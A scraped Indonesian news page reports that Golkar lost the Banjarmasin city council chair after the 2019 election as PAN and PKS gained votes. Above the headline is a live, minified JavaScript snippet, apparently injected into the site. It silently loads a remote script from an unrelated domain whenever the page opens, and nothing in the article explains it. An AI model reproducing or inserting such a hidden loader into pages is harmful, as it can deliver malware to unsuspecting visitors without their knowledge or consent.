(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Suara Anjlok, Golkar Banjarmasin Lengser dari ‘Tahta’ Dewan


BANJARMASIN, Partai Golkar Banjarmasin harus berbesar hati lengser dari tahta kursi ketua DPRD kota. Hal ini menyusul hasil suara pada pemilu 2019 untuk partai ini yang anjlok dibandingkan pemilu sebelumnya. Kini, tahta tersebut kemungkinan akan diduduki oleh Partai Amanat Nasional (PAN).

Ketua DPD Partai Golkar Banjarmasin Hj Ananda mengatakan, sampai saat ini pihaknya masih menunggu hasil final penghitungan suara oleh KPU. Namun, dari data yang ada saat ini bisa dipastikan bahwa partainya tak akan digdaya lagi untuk mempertahankan tahta dewan.

“Iya, itu bisa dipastikan kalau kehilangan kursi ketua DPRD,” ungkapnya.

Ananda mengatakan, hilangnya kursi ketua dewan di Banjarmasin sudah diprediksi sebelumnya. Hal ini menyusul ketatnya persaiangan antar parpol di kota seribu sungai tersebut. Di antaranya juga terimbas pada polarisasi suara capres antara pendukung 01 Jokowi-Ma’ruf dan capres 02 Prabowo-Sandi.

Hal ini juga dibenarkan Ketua Harian DPD Partai Golkar Kalsel H Supian HK. Ia mengakui, ada terjadi pergeseran suara Golkar pada pemilu 2019 ini. Ada beberapa daerah yang naik, tapi ada pula yang turun suaranya. Penurunan perolehan suara menurutnya terjadi di Dapil Kalsel 1 Kota Banjarmasin yang tak hanya terjadi di tingkat Provinsi, tapi juga terjadi pada perolehan suara tingkat Kota Banjarmasin. Padahal pada hasil Pileg 2014 silam, Golkar Banjarmasin mendapat lebih 50 ribu suara.

“Dapil Banjarmasin mengalami penurunan. Tapi untuk Provinsi masih dapat satu kursi. Di tingkat Kota Banjarmasin diperkirakan kami tidak lagi jadi Ketua DPRD Kota Banjarmasin. Tapi ini sudah kami prediksi memang akan sulit,” jelasnya.

Diperkirakan, berdasarkan data perhitungan dari formulir C1 saksi-saksi di tiap TPS, Golkar Banjarmasin akan mendapat enam kursi. Yakni 2 kursi di dapil Kecamatan Banjarmasin Barat, sisanya masing-masing 1 kursi di kecamatan Banjarmasin Tengah, Utara, Timur, dan Selatan.

Namun di beberapa daerah lainnya, ujar Supian, suara Partai Golkar diklaim meningkat cukup signifikan seperti di Dapil Kalsel 5 meliputi Kabupaten Hulu Sungai Utara, Tabalong dan Balangan, Dapil Kalsel 3 Kabupaten Batola dan Dapil Kalsel 2 Kabupaten Banjar.

Dimana di Dapil Kalsel 5 diperkirakan mendapatkan tiga kursi dari sebelumnya dua kursi, Dapil Kalsel 3 sebanyak tiga kursi dari sebelumnya dua kursi dan Dapil Kalsel 2 dari dua menjadi tiga kursi di Pemilu 2019 ini.

Data tersebut merupakan rekapitulasi internal yang dilakukan DPD Partai Golkar Provinsi Kalsel mengacu pada formulir C1 yang sudah mencapai 80 persen masuk ke dalam rekap partai hingga kurang lebih seminggu usai pencoblosan. Dengan perkiraan 16 kursi DPRD Provinsi Kalsel sudah dikuasai, pihaknya tentu optimis pucuk Ketua DPRD Provinsi Kalsel kembali akan diduduki kader Partai Golkar.

Klaim mengamankan 16 kursi di Rumah Banjar tersebut diakuinya belum memenuhi target. Sebab pada pemilu 2019 ini Golkar menargetkan 18 kursi. Jadi, masih kurang dua kursi dari capaian yang diharapkan!

Di sisi lain, PAN dan PKS sukses melambungkan suaranya di Banjarmasin. Perhitungan DPD PAN Banjarmasin berdasarkan data C1, mereka rata-rata mendapatkan dua kursi di tiap kecamatan. Sehingga diperkirakan PAN mampu memboyong 10 kursi.

Ketua DPD PAN Banjarmasin Hari Wijaya mengatakan, hitungan dari saksi partai di TPS sesuai dari data C1 yang masuk PAN unggul di Banjarmasin. “Jadi dari perhitungan partai, maka PAN yang menduduki kursi ketua dewan,” sebutnya.

Tak hanya PAN, Partai Keadilan Sejahtera (PKS) juga ikut mendulang kenaikan suara. Hasil sementara, PKS duduk di posisi pertama disusul Partai Golkar kemudian Partai Gerindra dalam penghitungan KPU.

Pembina PKS Kalsel Ibnu Sina mengatakan, kenaikan suara partainya sebagai efek ekor jas kemenangan Prabowo-Sandi di Kalsel. “Pada hitung cepat yang dilakukan internal PKS, hasilnya cukup memuaskan dengan peningkatan suara tajam dibandingkan Pemilu 2019 lalu,” terangnya. (mario)

Reporter : Mario
Editor : Chell

Desy Arfianty

Recent Posts

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

4 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

6 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

12 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

13 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

15 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

19 jam ago

This website uses cookies.